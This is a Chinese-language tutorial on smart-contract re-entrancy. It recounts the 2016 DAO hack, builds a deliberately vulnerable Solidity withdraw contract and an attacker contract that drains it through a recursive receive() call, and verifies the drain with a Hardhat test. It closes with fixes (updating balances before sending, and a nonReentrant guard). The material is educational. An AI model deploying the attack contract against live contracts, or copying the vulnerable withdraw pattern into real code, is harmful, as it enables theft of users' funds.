跳到主要内容

Re-Entrancy

了解重返社会的攻击--耗资 6000 万美元

Re-Entrancy 是智能合约中发现的最古老的安全漏洞之一。正是这个漏洞导致了 2016 年臭名昭著的 "DAO 黑客 "事件。在这次黑客攻击中,超过 360 万 ETH 被盗,如今价值数十亿美元。

当时,由于以太坊相对较新,DAO 包含了网络上所有以太坊的 15%。这次失败对以太坊网络产生了负面影响,Vitalik Buterin 提出了一个软件分叉,攻击者将永远无法转移出他的 ETH。有些人同意,有些人不同意。这是一个非常有争议的事件,而且至今仍然充满争议。

最后,它导致以太坊被分叉成两个--以太坊经典,以及我们今天所知的以太坊。以太坊经典版的区块链在分叉之前与以太坊完全相同,但之后的发展就像黑客攻击确实发生了一样,攻击者仍然控制着被盗资金。今天的以太坊实施了黑名单,就好像那次攻击从未发生过一样。

这是那个故事的简化版,整个动态是相当复杂的。每个人都被困在岩石和硬地方之间。你可以在这里阅读更多关于这个故事的内容,以了解更详细的情况

让我们了解更多关于这个黑客的信息!

什么是 Re-Entrancy?

Re-Entrancy 是一种漏洞,如果合约 A 调用合约 B 中的一个函数,合约 B 可以在合约 A 仍在处理的时候回调到合约 A。

这可能会导致智能合约中的一些严重漏洞,往往会产生从合约中抽走资金的可能性。

让我们通过上图所示的例子来了解这一点。假设合约 A 有一些函数--称之为 f(),它做了 3 件事。

  • 检查合约 B 存入合约 A 的 ETH 余额
  • 将 ETH 送回给合约 B
  • 将合约 B 的余额更新为 0

由于余额在发送 ETH 后被更新,合约 B 可以在这里做一些棘手的事情。如果合约 B 在它的合约中创建一个 fallback()或 receive()函数,当它收到 ETH 时执行,它可以再次调用合约 A 的 f()。

由于此时合约 A 尚未将合约 B 的余额更新为 0,它将再次向合约 B 发送 ETH--这就是漏洞所在,而合约 B 可以一直这样做,直到合约 A 完全没有 ETH。

BUIDL

我们将创建几个智能合约,GoodContract 和 BadContract 来演示这种行为。BadContract 将能够从 GoodContract 中抽取所有的 ETH。

注意 所有这些命令应该都能顺利运行。 如果你在 windows 系统上遇到错误,如无法读取 null 的属性(读取'pickAlgorithm'),请尝试使用 npm cache clear --force 来清除 NPM 缓存。

让我们建立一个例子,你可以体验一下 Re-Entrancy 攻击是如何发生的。

创建项目

要建立一个 Hardhat 项目,打开终端并执行这些命令

npm init --yes
npm install --save-dev hardhat
npm install --save-dev @nomicfoundation/hardhat-toolbox @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
npx hardhat

选择创建一个基本样本项目 对已经指定的 Hardhat 项目根按回车键 在是否要添加.gitignore 的问题上按回车键 在 "是否要用 npm 安装这个样本项目的依赖项(@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)? 现在你已经有一个准备好的 hardhat 项目了!

添加合约

让我们开始在合约目录下创建一个新文件,名为 GoodContract.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract GoodContract {
mapping(address => uint) public balances;
// Update the `balances` mapping to include the new ETH deposited by msg.sender
function addBalance() public payable {
balances[msg.sender] += msg.value;
}
// Send ETH worth `balances[msg.sender]` back to msg.sender
function withdraw() public {
require(balances[msg.sender] > 0);
(bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
require(sent, "Failed to send ether");
// This code becomes unreachable because the contract's balance is drained
// before user's balance could have been set to 0
balances[msg.sender] = 0;
}
}

该合约非常简单。第一个函数,addBalance 更新一个映射,以反映另一个地址向该合约存入多少 ETH。第二个函数 withdraw 允许用户提取他们的 ETH--但 ETH 是在更新余额之前发送的。

现在让我们在合约目录下创建另一个文件,称为 BadContract.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./GoodContract.sol";

contract BadContract {
GoodContract public goodContract;
constructor(address _goodContractAddress) {
goodContract = GoodContract(_goodContractAddress);
}

// Function to receive Ether
receive() external payable {
if(address(goodContract).balance > 0) {
goodContract.withdraw();
}
}

// Starts the attack
function attack() public payable {
goodContract.addBalance{value: msg.value}();
goodContract.withdraw();
}
}

在构造函数中,该合约设置了 GoodContract 的地址并初始化了它的一个实例。

攻击函数是一个应付函数,它从攻击者那里获取一些 ETH,将其存入 GoodContract,然后调用 GoodContract 中的提款函数。

此时,GoodContract 将看到 BadContract 的余额大于 0,所以它将发送一些 ETH 回给 BadContract。然而,这样做将触发 BadContract 的 receive()函数。

receive()函数将检查 GoodContract 是否仍有大于 0 的 ETH 余额,并再次调用 GoodContract 的提款函数。

这将形成一个循环,GoodContract 将不断向 BadContract 发送资金,直到它的资金完全耗尽,然后最终达到将 BadContract 的余额更新为 0 并完成交易执行。此时,由于重入,攻击者已经成功地从 GoodContract 窃取了所有的 ETH。

我们将利用 Hardhat 测试来证明这种攻击确实有效,以确保 BadContract 确实从 GoodContract 中抽走了所有的资金。你可以阅读 Hardhat 测试文档以熟悉测试环境。

首先,我们在测试文件夹下创建一个名为 attack.js 的文件,并在其中添加以下代码。

const { expect } = require("chai");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");
const { ethers } = require("hardhat");

describe("Attack", function () {
it("Should empty the balance of the good contract", async function () {
// Deploy the good contract
const goodContractFactory = await ethers.getContractFactory("GoodContract");
const goodContract = await goodContractFactory.deploy();
await goodContract.deployed();

//Deploy the bad contract
const badContractFactory = await ethers.getContractFactory("BadContract");
const badContract = await badContractFactory.deploy(goodContract.address);
await badContract.deployed();

// Get two addresses, treat one as innocent user and one as attacker
const [_, innocentAddress, attackerAddress] = await ethers.getSigners();

// Innocent User deposits 10 ETH into GoodContract
let tx = await goodContract.connect(innocentAddress).addBalance({
value: parseEther("10"),
});
await tx.wait();

// Check that at this point the GoodContract's balance is 10 ETH
let balanceETH = await ethers.provider.getBalance(goodContract.address);
expect(balanceETH).to.equal(parseEther("10"));

// Attacker calls the `attack` function on BadContract
// and sends 1 ETH
tx = await badContract.connect(attackerAddress).attack({
value: parseEther("1"),
});
await tx.wait();

// Balance of the GoodContract's address is now zero
balanceETH = await ethers.provider.getBalance(goodContract.address);
expect(balanceETH).to.equal(BigNumber.from("0"));

// Balance of BadContract is now 11 ETH (10 ETH stolen + 1 ETH from attacker)
balanceETH = await ethers.provider.getBalance(badContract.address);
expect(balanceETH).to.equal(parseEther("11"));
});
});

在这个测试中,我们首先部署了 GoodContract 和 BadContract。

然后,我们从 Hardhat 获得两个签名者--测试账户让我们访问 10 个预先用 ETH 资助的账户。我们将其中一个作为无辜的用户,另一个作为攻击者。

我们让无辜的用户向 GoodContract 发送 10 个 ETH。然后,攻击者通过对 BadContract 调用 attack()并向其发送 1 个 ETH 开始攻击。

攻击()交易完成后,我们检查 GoodContract 现在有 0 个 ETH,而 BadContract 现在有 11 个 ETH(10 个 ETH 被盗,1 个 ETH 被攻击者存入)。

最后执行测试,在你的终端上输入

npx hardhat test

预防

有两件事你可以做。

其一,你可以认识到这个函数容易受到重入的影响,并确保在你实际向用户发送 ETH 之前,在提款函数中更新用户的余额,因此,如果他们试图回调到提款,将会失败。

另外,OpenZeppelin 有一个 ReentrancyGuard 库,它提供了一个名为 nonReentrant 的修改器,在你应用它的函数中阻止重入。它的工作原理基本如下。

modifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}

如果你在 withdraw 函数上应用这个方法,那么对 withdraw 的回调将失败,因为在第一个 withdraw 函数执行完毕之前,lock 将等于 true,从而也防止了重入。

更多

可选的参考读物